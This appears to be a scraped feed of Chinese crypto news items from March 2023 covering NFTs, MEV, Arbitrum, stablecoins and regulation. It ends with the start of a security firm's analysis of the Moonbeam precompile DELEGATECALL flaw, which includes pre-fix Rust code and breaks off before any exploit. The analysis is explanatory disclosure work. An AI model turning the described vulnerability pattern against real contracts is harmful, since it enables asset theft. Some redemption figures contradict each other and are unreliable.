    Chainfeeds 导读： AI 和 Crypto 结合有许多用例，加密 KOL 6529 基于我们将拥有智能机器及其将主要用于数字领域，解读其中一种用例，NFT，认为在人工智能的时代，出处将比以往任何时候都更重要，AI 不会取代人类创作的 NFT 的价值。 文章来源： https://twitter.com/punk6529/status/1641429818901413891 文章作者： 6529 观点： 6529：此次讨论的背景：1）我们将拥有智能机器；2）它们将主要在数字领域工作；3）它们将自主工作或与我们混合工作；4）它们不是超人 ASI（人工智能）。我假设 MidJourney v11 和 Dall-E 5 将能够创造无限完美的 CryptoPunk 克隆或美丽的 Fidenzas 或伟大的 Meme 卡。如果你来自非 NFT、非加密数字世界，这就是一场灾难！我们怎么知道什么是「真实的」？【原文为英文】 内容来源 6529：想象一个对 NFT 更加开放的世界，其中你的 ENS 是你的跨平台身份和控制。任何应用程序都可以验证你是谁以及你做了什么。但「出处重要吗？如果 AI 做得更好怎么办？」，我认为一些 100% AI 的艺术家会大受欢迎，但在许多无形商品中，出处就是一切，人们不会为他们的假 LV 包打广告。【原文为英文】 内容来源 6529：人类努力争取某种类型的群体认同。它植根于我们的 DNA，是我们如何在大草原中幸存下来的方式。无论背景如何，无论时代如何，无论财富的绝对水平如何，人类都会形成内部群体和外部群体，以共同的身份和社区为基础进行组织。我相信同样的事情也会在 NFT 领域发生。「内容」可能是无限的，但人类的注意力不是，出处将比以往任何时候都更重要。 内容来源  ( 2 min )
    【英文】EigenPhi | 2022 年 MEV 表现回顾：关键指标、影响力事件、MEV 创新......
    Chainfeeds 导读： EigenPhi 举办了一场回顾和讨论 2022 年 MEV 表现的 TwitterSpace，邀请了行业内 MEV 专家发表了关于关键指标、事件、订单流和创新等方面的见解，包括 Galaxy Digital 研究员、bloXroute Labs 首席执行官、0x 首席数据科学家、Curve 核心贡献者、Nomad 创始人等。 文章来源： https://eigenphi.substack.com/p/highlights-from-twitter-space-mev-2022-to-2023 文章作者： EigenPhi 观点： Christine Kim（Galaxy Digital）：以太坊合并后，人们感兴趣的指标之一是链上发生的审查活动、继电器的采用及通过 Flashbots 继电器和其他继电器的交易活动。关键是要注意，MEV 包括很多方面，大家关注的指标可能都不相同。此外，Etherscan 是了解复杂 MEV 策略的优秀工具。【原文为英文】 内容来源 Uri Klarman（bloXroute Labs 首席执行官 ）：MEV 领域最重要的变化无疑是合并和向 MEV-boost 的过渡。有了 MEV-boost 和合并，通过 CeFi 和 DeFi 套利从用户处提取的价值现在归于验证者和质押用户。虽然有些人认为这具有积极影响，但从我的角度看这对 DeFi 来说是一个令人担忧的方向，结果仍不确定。【原文为英文】 内容来源 danning.eth（0xLabs 数据分析师）：我目前对 MEV 订单流的理解主要涉及 DEX 订单流或有可能被提取 MEV 价值的订单。Flashbots 提出的订单流概念主要是接受来自应用团队或 RPC 供应商的更多订单，然后将其分配给一组搜索者，这些搜索者可以在每个订单上竞标最高的潜在提取价值。然后，我们可以决定如何采取投标，并将其发送给一组区块构建者来执行交易。目前，很多研究人员正在研究如何在暴露订单流信息的同时提供一个有利于隐私的 Layer。这是因为这种信息的价值很大，一旦被分享，就有可能被泄露。【原文为英文】 内容来源 fiddy（Curve 核心贡献者）：长尾 MEV 很有趣，但这种差异应该尽可能减少，以便我们在提供 MEV 机会时获取足够的价值回报。例如在 Curve 我们计划进行涉及自动做市商的清算，但这只是因为有 MEV 激励才可能这么做。这是一个关于我们如何利用激励措施并试图进行创新的例子。【原文为英文】 内容来源  ( 24 min )
    【英文长推】Arbitrum 是 L2 之王？一文对其全面解读
    Chainfeeds 导读： Arbitrum 空投将 L2 战争推向高潮，加密研究员 Jake Pahor 从收入、代币经济学、用例、路线图、团队及融资等方面对其进行全面剖析，认为只有时间才能证明 Arbitrum 是否能抵御其竞争对手。 文章来源： https://twitter.com/jake_pahor/status/1641440958779912194 文章作者： Jake Pahor 观点： Jake Pahor：Arbitrum 周收入排名第三，仅次于以太坊和 Tron，其 DAO 国库分配了初始供应量的 42.78%，大部分将用于支持生态系统项目。剩余初始分配则是：投资者 17.35%，系统系统中的 DAO 1.13%，个人钱包 11.62%，团队 + 顾问 26.94%。代币供应每年最大通胀率为 2%。【原文为英文】 内容来源 Jake Pahor：$ ARB 是为 Arbitrum One 和 Arbitrum Nova 设计的治理代币。代币经济学： 初始供应量 10 亿，循环供应量 1.275 亿，MC 1.55 亿，FDV 12.15 亿，MC/FDV=0.13。目前只有 12.75% 代币在流通，其余的投资者和团队代币为 4 年锁定期，一年内首次解锁，剩下的在三年内每月解锁。TVL 略低于 3 亿美元，在所有区块链中排名第四，仅次于以太坊、Tron 和 BSC。【原文为英文】 内容来源 Jake Pahor：Arbitrum 生态拥有超过 262 种协议，其中一些 DeFi 最具创新性的项目建立在该生态上。每日活跃用户处于强劲的上升趋势中，由于空投而飙升，稳定在 20 万左右的较高基准水平。下一步动作是什么？1）EIP-4844，降低使用 rollup 的成本；2）DAO 去中心化和消除白名单；3）实现去中心化路线图的最后阶段。【原文为英文】 内容来源 Jake Pahor：Arbitrum 由 Ed Felten、Steven Goldfeder 和 Harry Kalodner 创立，最初由 Offchain Labs 和 Arbitrum 基金会运营。DAO 特征：1）自我执行治理；2）紧急情况由 Arbitrum 安全委员会（12 名成员多签）处理；3）56% 的所有权归社区。该项目得到了一些重量级人物的融资支持，包括 Pantera、Polychain 和 Coinbase。【原文为英文】 内容来源  ( 2 min )
    NFT 市场 Magic Eden 引入 Diamond Rewards，允许用户根据不同任务解锁
    NFT 市场 Magic Eden 引入 Diamond Rewards，允许用户根据不同任务解锁 NFT 市场 Magic Eden 宣布引入 Diamond Rewards，用户可以根据不同的任务获得 Diamond，并在 Magic Eden 中解锁更大的奖励。Diamond 是一种奖励货币，每月都会保持不变。目前获得 Diamond 的方式有三种：在 Magic Eden 上架 NFT 并成功出售，在 Magic Eden 上出价 NFT 并成功及完成 Profile 资料填写。此外，忠诚度分数可用于决定赚取 Diamond 倍数，100 % 的忠诚度可获得 2 倍乘数，忠诚度分数的计算考虑了用户在过去 6 个月内的活动。Diamond 不会被用于费用折扣。 内容来源  ( 4 min )
    Injective 推出 IBC 生态系统首个 Solana SVM Rollup Cascade，Solana 合约及 dApp 能够部署至 Injective
    Injective 推出 IBC 生态系统首个 Solana SVM Rollup Cascade，Solana 合约及 dApp 能够部署至 Injective Cosmos 生态智能合约平台 Injective 宣布推出 IBC 生态系统首个 Solana SVM Rollup Cascade，该整合将把 Solana SVM 带入 Cosmos，让 Solana 开发者能够快速将 Solana 合约及 dApp 部署至 Injective 上。Cascade 测试网测试版本将涉及一个由 Eclipse 团队操作的 SVM 排序器，该排序器能够接收来自 Solana 钱包的交易和来自 Solana 命令行界面（CLI）的智能合约部署。此外，Cascade 贡献者计划整合 Celestia 作为未来的数据可用性提供者。Cascade 目前已经在 Injective 测试网上线，并计划在不久的将来迁移至主网。 内容来源 观点： Mirza：Cascade 将使整个 Injective 生态的开发活动达到前所未有的水平，同时也将在 Solana 和 Cosmos IBC 中带来新的可组合形式。由 Injective 驱动的专用 Rollup 只是开拓 Web3 基础设施的开始。【原文为英文】 内容来源  ( 4 min )
    数据：受 Shapella 升级推动，以太坊期权交易量创 2022 年 5 月以来新高
    数据：受 Shapella 升级推动，以太坊期权交易量创 2022 年 5 月以来新高 根据 The Block 的数据，3 月份以太坊期货的月交易量达到 2022 年 5 月以来的最高点，该数据飙升的部分原因是，以太坊将于 4 月 12 日进行 Shapella 升级，这将首次实现质押提取，以及其他技术升级。以太坊期权在芝加哥商品交易所（CME）的持仓量达到了历史最高水平，而月度成交量却滞后，因为交易员在更新前建立了头寸。 内容来源  ( 215 min )
    数据：USDC 稳定币市值在过去两周内下跌约 100 亿美元，至 325 亿美元
    数据：USDC 稳定币市值在过去两周内下跌约 100 亿美元，至 325 亿美元 据 The Block 报道，Circle 的 USDC 稳定币的市值在过去两周下跌了约 100 亿美元，至 325 亿美元，USDC 继续出现大规模赎回。The Block 研究主管 Steven Zheng 表示：「看来 3 月初的事件已经损害了加密货币投资者和交易者对稳定币可靠性的信任，尽管 Circle 为 USDC 提供了没有延迟的全额赎回」。过去 24 小时内的净赎回额接近 4630 亿美元，其中 4870 亿美元被销毁，仅铸造了 2410 万美元。根据 The Block 的数据，同期 USDC 的市值从 333 亿美元左右跌至 328 亿美元。 内容来源  ( 215 min )
    Phantom 宣布已兼容以太坊、Polygon 和 Solana 上的所有应用
    Phantom 宣布已兼容以太坊、Polygon 和 Solana 上的所有应用 Web3 钱包 Phantom 宣布与以太坊、Polygon 和 Solana 上的每个应用程序兼容，用户可选择 MetaMask 图标连接或点击「浏览器钱包」连接。，并引入了「默认钱包」设置，让用户选择默认钱包或在每次连接钱包时被询问。 内容来源  ( 4 min )
    硬件钱包制造商 Ledger 完成 1 亿欧元融资，估值 13 亿欧元
    硬件钱包制造商 Ledger 完成 1 亿欧元融资，估值 13 亿欧元 据彭博社报道，硬件钱包制造商 Ledger 完成 1 亿欧元融资，估值 13 亿欧元，新投资者 True Global Ventures、Cité Gestion SPV、Digital Finance Group 和 VaynerFund 以及现有投资者 10T、Cap Horn、Morgan Creek 和 Cathay Innovation 参投，Goldman Sachs Bank Europe SE 担任独家配售代理，Jones Day 担任法律顾问。此外，Ledger 表示，第三轮融资可能会即将到来。 内容来源 观点： Pascal Gauthier（Ledger 首席执行官）：2022 年对加密行业而言是艰难的一年，而 Ledger 业务的硬件和服务部分的采用率却在不断提高。未来五到十年内，我坚信价值互联网的崛起将重塑数十亿人拥有和管理资产的方式。我的观点很明确，需要新一代的硬件设施。这正是我们新一代硬件钱包 Ledger Stax 计划实现的。未来我们将继续改进我们的硬件设备，升级用户软件体验，将新的代币、服务和功能整合至 Ledger Live 中。B2B 方面，Ledger Enterprise 将使越来越多的企业在适当的治理和安全框架下利用数字价值。【原文为英文】 内容来源  ( 2 min )

  • Open

    外媒：孙宇晨在去年格林纳达新政府上台后被剥夺了其外交官的身份
    PANews 3月31日消息，据格林纳达广播网（GBN）披露，波场TRON创始人、火必Huobi全球顾问委员会成员孙宇晨不再是格林纳达的外交官。在2022年6月举行的选举后的某个时候，孙被剥夺了大使身份，当时授予孙宇晨的职位的新国家党被全国民主大会罢免。所有大使都在现成立九个月的NDC政府的“最初几个月”的某个时候被召回，尽管孙宇晨没有公开承认失去他的职位。 据悉，孙宇晨于2021年12月被任命为格林纳达驻世贸组织大使，当时的格林纳达政府表示希望他利用他的人脉来促进该国的贸易、投资和发展机会。 此前3月17日消息，推特用户试图求证“孙宇晨格林纳达护照作废”传言，格林纳达拒绝回应，而WTO称其仍为该国代表。  ( 1 min )
    数据：受Shapella升级推动，以太坊期权交易量创2022年5月以来新高
    PANews 3月31日消息，The Block数据显示，在以太坊Shapella升级前，交易员正在对以太坊的价格进行押注。本月以太坊期权月度交易量创2022年5月以来的新高，芝加哥商品交易所(CME)的以太坊期权未平仓合约创历史新高。以太坊的Shapella升级将于北京时间4月13日06:27:35在epoch 194048处激活。  ( 1 min )
    英国公布治理经济犯罪计划，将加强打击加密货币犯罪
    PANews 3月31日消息，根据英国最新发布的治理经济犯罪计划，英国财政部和内政部计划加强对加密货币洗钱和盗窃犯罪的打击。该计划提出的目标包括减少欺诈、减少洗钱、追回犯罪资产、打击盗窃和减少逃避制裁的行为。负责监管的机构包括财政部、内政部、自律组织CryptoUK、皇家检察署和英国税务海关总署。此前英国金融行为监管局(FCA)已与国际监管机构展开密切合作并交换信息。在打击经济犯罪计划出台之前，英国国家犯罪局（NCA）成立了一个“加密小组”，并开始招募一批专门负责数字资产的执法人员。  ( 1 min )
    Coinbase已与加拿大监管机构签署预注册承诺
    PANews 3月31日消息，Coinbase在最新发布的博客文章中表示，已于3月24日与加拿大监管机构签署了一份加强版预注册承诺，并已任命前Shopify高管Lucas Matheson为其加拿大总监。Matheson此前曾在Shopify任职五年，负责领导运营和战略扩张。他将在Coinbase管理200多名工程师。据此前消息，加密交易所Kraken也已向加拿大安大略省证券委员会提交了预注册承诺，并承诺遵守加拿大证券管理局 (CSA) 制定的更严格规定。  ( 1 min )
    BitGo推出比特币Ordinals铭文跟踪功能
    PANews 3月31日消息，据CoinDesk报道，加密托管服务提供商BitGo发布了旨在比特币Ordinals铭文跟踪功能，旨在增加铭文存储的安全性。用户将能够在BitGo的任何比特币热钱包中添加该功能。启用跟踪后，钱包接收的所有交易都将被检查是否包含铭文。如果含有铭文，交易将被冻结，以防止有价值的铭文丢失。比特币Ordinals于1月底推出。截至目前，已有超过60万个铭文。  ( 1 min )
    Optimism公布第二轮追溯性公共产品募资结果，L2Beat等195个人或项目被资助
    PANews 3月31日消息，以太坊二层扩容方案 Optimism 公布第二轮追溯性公共产品募资（RetroPGF 2）结果，在第二轮 RetroPGF 中，有 195 个人和项目被提名资助，所有 195 人都获得了徽章持有者的资助。 1000 万枚 OP 资金平均被分配给三个类别：教育、基础设施以及工具和公用事业。教育类别中，资助了 70 人或项目，前三名接受者为 L2Beat、ETHGlobal 和 BuidlGuidl；基础设施类别资助了 43 个项目，前三名接受者为 Protocol Guild、geth 和 Solidity；工具和公用事业项目类别资助了 82 个项目，前三名接受者为 OpenZeppelin、DefiLlama 和 wagmi。  ( 1 min )
    新加坡法院批准加密货币交易所Zipmex的重组计划
    PANews 3月30日消息，据CoinDesk报道，泰国加密货币交易所Zipmex的重组计划已获得新加坡高等法院的批准，为客户取回存款铺平了道路。根据 Zipmex 网站周四的更新，法院批准为钱包资产不超过 5,000 美元的债权人设立“行政便利级别” 。Zipmex 将债权人保护期限延长三周至 4 月 23 日的请求也获得批准。  ( 1 min )
    硬件钱包制造商Ledger以13 亿欧元的估值锁定了 1 亿欧元的大额融资
    PANews 3月30日消息，据彭博社报道，总部位于巴黎的硬件钱包制造商 Ledger 在首轮融资中筹集了 1 亿欧元（1.09 亿美元）的大部分资金。 估值为 13 亿欧元，与投资者在2021 年 6 月上一次融资时给出的价格大致相同。新投资者包括 True Global Ventures、Cité Gestion SPV、Digital Finance Group 和 VaynerFund。他们加入了 10T、Cap Horn、Morgan Creek 和 Cathay Innovation 等现有支持者的行列。该公司将利用这笔现金扩大其分销商网络、提高产量和开发产品，从而发展业务。  ( 1 min )
    Starknet Alpha v0.11.0 已上线主网
    PANews 3月30日消息，以太坊 Layer2 扩容解决方 Starknet 宣布 Starknet Alpha v0.11.0 已上线主网。上周报道，Starknet已在测试网上发布Alphav0.11.0版本，Cairo 1.0已启动。 相关阅读：Starknet空投或即将来临：进行Starknet v0.11.0升级并任命5个委员会  ( 1 min )
    PA日报｜Fetch.ai完成4000万美元融资；公链Sui推出永久测试网
    今日要闻提示： 美SEC主席寻求24亿美元拨款以追查加密领域“不当行为” Magic Eden将于4月6日推出测试版以太坊NFT市场ETH Genesis Meta重申元宇宙地位：仍是计算的未来，但需要时间 公链Sui推出永久测试网，可在主网启动后继续运行 Polygon：Polygon zkEVM不会单独发币，预计MATIC将用于其中的质押和治理 The Information：Gemini寻求推出海外加密衍生品交易所 专注于人工智能的加密协议Fetch.ai完成4000万美元融资 USDC本月净流出超过100亿美元，USDT市场份额创22个月新高 监管消息 美SEC主席寻求24亿美元拨款以追查加密领域“不当行为” 据Cointelegraph报道，美国证券交易委员会主席Gary Gensler表示，支持拜登总统为该监管机构拨款24亿美元的请求，并强调了打击加密货币行业“不当行为”的持续需求。 在为3月29日众议院拨款委员会2024财年年度预算听证会准备的证词中，Gensler表示，需要额外的资金来保持创新的步伐，并补充说，金融市场的快速技术创新导致了新兴领域的不当行为，尤其是在加密领域。解决这个问题需要新的工具、专业知识和资源。增加的资金将允许SEC再雇佣170名员工，其中大部分将在其执法和审查部门工作。 泰国SEC考虑取消针对散户投资者的30万泰铢IC0投资限额 据Finance Magnates报道，泰国证券交易委员会 (SEC) 正在考虑取消首次代币发行 (IC0) 的300,000泰铢（约合8,800 美元）零售投资限额，以刺激对数字代币的投资。SEC将对此举行公开听证会，直至4月27日。根据目前的规定，散户投资者只能通过IC0向一个项目投资不超过30万泰铢。 泰国监管机构表示：“该法规的修订旨在加强对数字资产运营的有效监控，并降低可能影响投资者、数字资产运营商和市场的风险。提高散户投资者IC0限制的举措将允许更多散户投资，从而增加他们的风险敞口。” NFT Magic Eden将于4月6日推出测试版以太坊NFT市场ETH Genesis 据官方博客，NFT市场Magic Eden宣布将于4月6日推出其测试版以太坊NFT市场ETH Genesis。这也意味着，继Solana、Polygon、Bitcoin之后，以太坊成为了Magic Eden所覆盖的第四个生态。 BAYC揭示HV-MTL机甲NFT类型 “无聊猿”BAYC在社交媒体宣布HV-MTL机甲类型已在其官网正式发布。根据官网显示，HV-MTL总计有8类，目前已公开展示了7类，分别是：GLITCH、DYNAMIC、BIO、KNIGHT、CELESTIAL、REAVER和HOLO，另有一个LEGENDARY暂未公开。 HV-MTL系列由3万枚“Evo 1”Mechs机甲NFT系列组成，通过销毁下水道通证Sewer Pass可获得，持有HV-MTL NFT将被允许访问未来BAYC游戏和内容，Evo 1预计将于四月发布。OpenSea最新数据显示，当前HV-MTL地板价为2.075 ETH，总交易额已达到15,115 ETH。根据此前的计划，继机甲类型揭示后，将相继推出“穿越裂谷”和“EVO 2之旅”新篇章。 元宇宙 币安发言人：Bicasso未抄袭Chatcasso项目，设计和开发早于之前的BNB Chain黑客松 据Cointelegraph报道，针对Hunt Town联创指控币安Bicasso产品窃取其在BNB Chain黑客松上提出的创意（即Chatcasso项目），币安发言人回应称：“尽管有相似之处，但在进行内部审查后，我们相信Bicasso是在BNB Chain黑客松前两周独立设计和开发的。Bicasso是币安的一个小团队作为测试建立的一个实验项目，NFT和人工智能是许多行业参与者共同研究的概念。币安和BNB Chain是分开运营的，币安开发团队不参与BNB Chain黑客马拉松，Bicasso这个名字的灵感来自OpenAI工具Dall-E。” Meta重申元宇宙地位：仍是计算的未来，但需要时间 据彭博社报道，Meta全球事务副总裁Nick Clegg重申会继续发展元宇宙，计算的未来将发生在这个仍未被充分定义的虚拟世界中。虽然如今的元宇宙应用带给人们的体验不够流畅，但他承诺这最终会被更加便利的体验所取代，不仅可以采用轻便的设备，还会为虚拟形象配上双腿。Clegg表示：“我们会坚持发展这项技术，因为真心认为早期证据都表明此类技术将成未来计算平台的核心。但这需要时间。” 此外，Clegg表示，Meta主要可以通过两种方式来变现元宇宙的投资：广告和电商。他还强调，该公司致力于让研究人员、民间组织和其他公司参与元宇宙的开发。 项目动态 公链Sui推出永久测试网，可在主网启动后继续运行 据官方博客，公链项目Sui Network宣布推出永久测试网，这是一个长期运行、去中心化和无需许可的测试网，与过去的Waves 1和Waves 2测试网不同，这个新的测试网即使在主网启动后也会继续运行。 该测试网有多个功能更新：1.动态验证者集：满足足够权益要求的候选验证者可以在epoch边界加入网络，活跃验证者可以在epoch边界离开网络。2.支持协议软件和Sui框架升级：测试网不会在每次软件更新时被删除，在任何计划中的软件更新或测试网上的数据删除之前，社区将得到适当的通知。3.可从数据库快照恢复全节点：节点操作人员可以利用检查点快速启动全节点，而不是等待全节点同步。4.地址和签名更新账户地址、对象ID和交易ID已从20字节升级到32字节，以防止哈希冲突；此外，Sui的默认哈希函数现在是Blake2b而不是SHA3，因为它的性能要高得多；为了支持广泛的交易规模，签名现在应用于哈希摘要而不是序列化的BCS数据，这使得Sui能够与硬件钱包兼容，硬件钱包的签名者api通常允许有限大小的输入。 此前3月22日消息，Sui Network表示，主网将于第二季度推出，尚无正式的空投计划。 Binance.US发言人称预计在24小时内恢复ACH存取款服务 据The Information报道，Binance.US发言人表示，Binance.US预计将在24小时内恢复Signature Bank的自动清算中心（ACH）存取款服务。根据Binance.US状态页面信息，Binance.US从3月23日报告Signature Bridge Bank的ACH存取款暂时无法使用，此状态目前尚未更新。 此前消息，美国联邦存款保险公司(FDIC)已要求Signature Bank的加密货币客户在下周之前取款。 Coinbase首席法务官：尽管美国监管存在问题，但公司不会离开美国市场 据CoinDesk报道， Coinbase首席法务官Paul Grewal在采访时谈到了美国商品期货交易委员会(CFTC)对币安的诉讼。Grewal称：“CFTC已经付出了巨大努力来了解币安发生了什么，并在发现问题时采取行动。有很多问题需要解决。无论是CFTC还是SEC对数字资产拥有管辖权，只会给试图在美国运营的加密行业增加更多的困惑。这种情况突显出监管机构似乎无法就加密货币的监管框架达成一致。我们需要合理的规则来合理地定义这些术语，并为加密经济中的每个人，包括投资者和消费者，提供确定性和清晰度来做出决定。”Grewal表示，CFTC的指控最引人注目的地方在于，它“特别指出了一些数字资产是大宗商品”，且这些资产正被SEC和其他机构“贴上或暗示为证券”。 此外，Grewal称，“我们是一家美国公司”，总部位于加州，在特拉华州注册，在纽约获得比特币许可证，“我们哪儿也不去”，这与没有母国的币安的情况不同。 OKX：将把FTX和Alameda相关的1.57亿美元冻结资产移交给债权人 据美通社报道，欧易OKX宣布将向债权人移交约1.57亿美元的与FTX和Alameda相关的冻结资产，以回应今天在FTX破产程序中提交的动议。OKX表示，在2022年11月FTX崩盘前后，OKX调查并发现了与FTX和Alameda Research相关的资产和账户，随即采取行动冻结了这些账户和资产。 此外，OKX表示，将继续与FTX债权人和执法人员合作，希望这些资产最终能通过破产程序返还给FTX用户。 赵长鹏：已冻结代币上线过程中内部人士关联地址的200万美元 加密货币研究员FatMan发推称，链上数据链上数据揭示了币安代币上线过程中有关的内部人士“老鼠仓”活动。币安首席执行官赵长鹏对此回应称：“已经冻结与相关地址相关的200万美元（他们从未要求重新申领），一直在与潜在的泄漏等作斗争。” Paxful CEO：将向在Celsius Earn中损失资金的Paxful用户进行退款 比特币P2P市场Paxful首席执行官兼联合创始人Ray Youssef在推特上表示，其承诺将向在Celsius Earn中损失资金的Paxful用户进行退款。本周晚些时候，用户的Celsius资金将可以在其Paxful钱包中使用。 Youssef解释称：“去年，Celsius宣布他们申请破产，因此，用户无法在Paxful Earn中获取资金。Paxful和其他许多人一样，因为我们无法取回Celsius持有的资金而无法行动。另一个打击是，法院裁定Celsius Earn账户属于Celsius的破产财产，而不是其用户。我们对这一事很不舒服，比特币是一种财富保值工具，对许多人来说，这是他们未来所依赖的钱。为了得到用户信任，我们采取了该行动。” 路透社：SBF对贿赂中国当局等新的刑事指控不认罪 据路透社报道，FTX 创始人 SBF 预计对美国新的刑事指控表示不认罪，这些指控包括共谋违反竞选财务法和贿赂中国当局。此前，SBF 对八项欺诈和串谋指控表示不认罪，这些指控涉嫌窃取数十亿 FTX 客户资金以弥补其对冲基金 Alameda Research 的损失。一位知情人士告诉路透社，他还计划对新的 13 项指控表示不认罪。新的指控增加了 Bankman-Fried 的压力，如果他在定于 10 月 2 日开始的审判中被定罪，他可能面临数十年的监禁。 黑山法院驳回Do Kwon针对其拘留时间被延长的判决提起的上诉 据KBS NEWS报道，黑山波德戈里察法院驳回了Terraform Labs首席执行官Do Kwon对法院延长拘留时间的裁决提出的上诉。该法院解释了驳回Do Kwon上诉的原因，称“没有理由相信他没有逃跑的风险，因为他是一名仅暂时居住在黑山的外国人。” 此外，当地调查机关没收了Do Kwon持有的多本护照，其中部分护照姓名不同，没收理由是因为其被列入国际刑警红色通缉名单。法院补充称：“这意味着如果Do Kwon和他的同伙获释，他们可以随时轻松离开黑山。 此外，今日消息，黑山司法部部长表示，美国对Do Kwon的引渡要求早于韩国，但尚无法判断哪方优先；对此，韩国检方称其对Do Kwon的引渡要求早于美国。Terra联创Daniel Shin正出庭接受韩国法院对其逮捕令的审查。 Polygon：Polygon zkEVM不会单独发币，预计MATIC将用于其中的质押和治理 Polygon在其官方文档更新Polygon zkEVM相关的常见问题。其中指出，Polygon zkEVM主网将不会发行单独的代币，ETH 将用于支付网络gas费，预计未来MATIC将用于Polygon zkEVM中的质押和治理。 此外，由于Polygon zkEVM通过ERC-4337支持帐户抽象，这将允许用户使用任何代币支付费用。 The Information：Gemini寻求推出海外加密衍生品交易所 据The Information报道，加密交易所Gemini正寻求推出一个海外加密货币衍生品交易所。该平台将专门提供永续期货，这是一种在美国禁止向零售交易者提供的衍生品。由于这种合约没有到期日，而且可以使用高杠杆，因此被认为是一种高风险产品。知情人士透露，Gemini近几个月来一直在接触一些交易公司，希望它们担任海外交易所的做市商。随着FTX的破产以及币安面临CFTC起诉，其他公司有望在加密衍生品领域抢占市场份额。据此前消息，Coinbase正在推出一个离岸平台，以交易加密货币永续掉期。 知情人士：Coinbase计划继续在加拿大开展业务，币安或将退出加拿大 据CoinDesk报道，据知情人士透露，Coinbase正与监管机构讨论获得在加拿大继续开展业务的适当许可证。与此同时，另一位不愿透露姓名的知情人士表示，币安可能会退出加拿大。但币安的一位发言人表示，该交易所“尚未制定明确的计划”。此外，据知情人士透露，Crypto.com也计划留在加拿大。本月早些时候，OKEx宣布退出加拿大。Blockchain.com和Deribit也表示将退出加拿大市场，预计Kraken将很快就此事发表声明。2月22日，加拿大证券管理局（CSA）发布加密新规，要求交易所和其他平台必须遵守“加强的投资者保护承诺”，包括将加拿大客户的加密资产隔离保管、禁止向加拿大客户提供保证金或其他形式的杠杆交易以及禁止未经CSA许可出售稳定币。 Safe未申领空投的50%将重新分配至此前已领取者地址 Snapshot页面显示，数字资产管理平台Safe（原Gnosis Safe）治理社区SafeDAO关于未申领SAFE空投重新分配的提案SEP #5已于今日23:01时结束投票。根据投票结果，Safe 向用户空投中未申领代币SAFE中的一半（即超1610万枚）将按比例重新分配至此前已领取者地址。已领取者将总计可申领初始空投方案中约190.45%的SAFE。另一半超1610万枚未申领SAFE后续将由Safe DAO投票决定空投至何种Safe用户，例如用于空投至L2 Safe用户等方案。 融资消息 专注于人工智能的加密协议Fetch.ai完成4000万美元融资 据CoinDesk报道，专注于人工智能的加密协议Fetch.ai已从做市商和投资公司 DWF Labs 处筹集了 4000 万美元。Fetch.ai的目标是通过提供自主的机器对机器生态系统，为开发人员提供工具来部署应用程序并从中获利。该公司周三在一份声明中表示，Fetch 将利用这笔投资在其平台上部署去中心化机器学习、自主代理和网络基础设施。 重要数据 USDC本月净流出超过100亿美元，USDT市场份额创22个月新高 据CoinDesk报道，自3月10日监管机构关闭主要硅谷银行以来，USDC本月净流出已超过100亿美元。CoinGecko的数据显示，USDC目前仍然是第二大稳定币，市值约为330亿美元，但相比本月初（430亿美元）市值缩水约23%。与此同时，大量投资者转向了最大的稳定币USDT。DefiLlama的数据显示，自3月10日以来，USDT的市值增长了约80亿美元，达到797亿美元，占据了60%的稳定币市场份额，创2021年5月以来新高。  ( 2 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.30）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    预编译合约漏洞曾造成1亿美元损失，一文解析该漏洞的利用原理与实现过程
    撰文：Beosin 2022 年 5 月，白帽组织 pwning.eth 向 Moonbeam 提交了一个关于预编译合约的严重漏洞，该漏洞能使得攻击者任意转移他人资产，当时该漏洞所影响资金高达 1 亿美元。 据了解，该漏洞涉及对非标准以太坊预编译的调用。这些地址允许 EVM 通过智能合约访问 Moonbeam 的一些核心功能（如 XC-20、质押和民主 pallet），这些功能并不存在于基础的 EVM 中。通过 DELEGATECALL，一个恶意的智能合约可以回调访问另一方的预编译存储。 普通用户不会遇到这个问题，这需要他们主动向该恶意智能合约发送交易。然而，对于其他允许任意调用外部智能合约的智能合约来说（比如部分允许回调的智能合约），这是一个问题。在这些情况下，不法使用者能对 DEX 执行对恶意智能合约的调用，该智能合约将能够访问伪装 DEX 的预编译，并可能将合约中的余额转移到任何其他地址。 接下来跟着 Beosin 安全研究团队来看一下该漏洞的利用原理与实现过程。 什么是预编译合约？ 在 EVM 中，一份合约代码会被解释成一个个的指令并执行，在每条指令执行过程中，EVM 都会对执行条件进行检查，也就是 gas 费是否充足，若 gas 不足，则会抛出错误。 EVM 虚拟机在执行交易的过程中数据存储并不是基于寄存器，而是基于栈的操作，每次数据读写操作都必须从栈顶开始，所以导致其运行效率非常低，加上每一条指令都需要进行运行检查，那么在对一个相对复杂的运算进行执行时，可能需要大量的时间成本，而在区块链中，正需要很多这种复杂的运算，例如加密函数、哈希函数等，导致很多函数在 EVM 环境中执行是不现实的。 预编译合约便是 EVM 为了一些不适合在 EVM 中执行的较为复杂的库函数 ( 多用于加密、哈希等复杂运算 ) 而设计的一种折中方案，主要用于一些计算复杂但逻辑简单且调用频繁的一些函数或逻辑固定的合约。 部署预编译合约需要发起 EIP 提案，审核通过后将同步到各个客户端。例如以太坊实现的某些预编译合约：ercecover()（椭圆曲线公钥恢复，地址 0x1）、sha256hash()（Sha256Hash 计算，地址 0x2）、ripemd160hash()（Ripemd160Hash 计算，地址 0x3）等，这些函数都被设置成了一个固定的 gas 花费，而不用在调用过程中按照字节码进行 gas 计算，大大降低了时间成本与 gas 成本。并且由于预编译合约通常是在客户端用客户端代码实现，不需要使用 EVM，所以运行速度快。 关于 Moonbeam 项目漏洞 在 Moonbeam 项目中，Balance ERC-20 precompile 提供了一个 ERC-20 接口来处理 balance 的原生代币，合约可以使用 address.call 的方式对预编译合约进行调用，此处 address 为预编译地址，下列是 moonbeam 修复之前的代码预编译合约调用的代码。 fn execute(&self, handle: &mut impl PrecompileHandle) -> Option { match handle.code_address() { // Ethereum precompiles : a if a == hash(1) => Some(ECRecover::execute(handle)), a if a == hash(2) => Some(Sha256::execute(handle)), a if a == hash(3) => Some(Ripemd160::execute(handle)), a if a == hash(5) => Some(Modexp::execute(handle)), a if a == hash(4) => Some(Identity::execute(handle)), a if a == hash(6) => Some(Bn128Add::execute(handle)), a if a == hash(7) => Some(Bn128Mul::execute(handle)), a if a == hash(8) => Some(Bn128Pairing::execute(handle)), a if a == hash(9) => Some(Blake2F::execute(handle)), a if a == hash(1024) => Some(Sha3FIPS256::execute(handle)), a if a == hash(1025) => Some(Dispatch::::execute(handle)), a if a == hash(1026) => 